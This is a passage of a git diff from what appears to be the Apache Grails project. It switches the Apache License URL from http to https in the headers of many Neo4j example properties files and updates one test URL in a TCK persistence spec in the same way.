+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_da.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_da.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_de.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_de.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_es.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_es.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_fr.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_fr.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_it.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_it.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ja.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ja.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nb.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nb.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nl.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nl.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pl.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pl.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_BR.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_PT.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ru.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ru.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_sv.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_sv.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_th.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_th.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_zh_CN.properties b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j-hibernate/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/gradle.properties b/grails-data-neo4j/examples/grails3-neo4j/gradle.properties
index 577d09fd84..7e47c128dc 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/gradle.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_cs_CZ.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_da.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_da.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_de.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_de.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_es.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_es.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_fr.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_fr.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_it.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_it.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ja.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ja.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nb.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nb.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nl.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nl.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pl.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pl.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_BR.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_PT.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ru.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ru.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_sv.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_sv.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_th.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_th.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_zh_CN.properties b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-data-neo4j/examples/grails3-neo4j/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/neo4j-spring-boot/gradle.properties b/grails-data-neo4j/examples/neo4j-spring-boot/gradle.properties
index 577d09fd84..7e47c128dc 100644
--- a/grails-data-neo4j/examples/neo4j-spring-boot/gradle.properties
+++ b/grails-data-neo4j/examples/neo4j-spring-boot/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/neo4j-standalone/gradle.properties b/grails-data-neo4j/examples/neo4j-standalone/gradle.properties
index 577d09fd84..7e47c128dc 100644
--- a/grails-data-neo4j/examples/neo4j-standalone/gradle.properties
+++ b/grails-data-neo4j/examples/neo4j-standalone/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/test-data-service/gradle.properties b/grails-data-neo4j/examples/test-data-service/gradle.properties
index 577d09fd84..7e47c128dc 100644
--- a/grails-data-neo4j/examples/test-data-service/gradle.properties
+++ b/grails-data-neo4j/examples/test-data-service/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/examples/test-data-service/grails-app/i18n/messages.properties b/grails-data-neo4j/examples/test-data-service/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-data-neo4j/examples/test-data-service/grails-app/i18n/messages.properties
+++ b/grails-data-neo4j/examples/test-data-service/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/gradle.properties b/grails-data-neo4j/gradle.properties
index 525b7557bf..d860b09526 100644
--- a/grails-data-neo4j/gradle.properties
+++ b/grails-data-neo4j/gradle.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/neo4j-server.properties b/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/neo4j-server.properties
index 238faacbab..d7a5a75bf1 100644
--- a/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/neo4j-server.properties
+++ b/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/neo4j-server.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/spy.properties b/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/spy.properties
index b10f569a2f..41d82f4f5d 100644
--- a/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/spy.properties
+++ b/grails-data-neo4j/grails-datastore-gorm-neo4j/src/test/resources/spy.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-datamapping-tck/src/main/groovy/org/apache/grails/data/testing/tck/tests/CommonTypesPersistenceSpec.groovy b/grails-datamapping-tck/src/main/groovy/org/apache/grails/data/testing/tck/tests/CommonTypesPersistenceSpec.groovy
index 8086b73284..9eb35bb1f8 100644
--- a/grails-datamapping-tck/src/main/groovy/org/apache/grails/data/testing/tck/tests/CommonTypesPersistenceSpec.groovy
+++ b/grails-datamapping-tck/src/main/groovy/org/apache/grails/data/testing/tck/tests/CommonTypesPersistenceSpec.groovy
@@ -36,7 +36,7 @@ class CommonTypesPersistenceSpec extends GrailsDataTckSpec {
                 s: 10 as short,
                 bool: true,
                 i: 10,
-                url: new URL("http://google.com"),
+                url: new URL("https://google.com"),
                 date: now,
                 c: cal,
                 bd: 1.0,
@@ -61,7 +61,7 @@ class CommonTypesPersistenceSpec extends GrailsDataTckSpec {
         (10 as short) == ct.s
         true == ct.bool
         10 == ct.i
-        new URL("http://google.com") == ct.url
+        new URL("https://google.com") == ct.url
         now.time == ct.date.time
         cal == ct.c
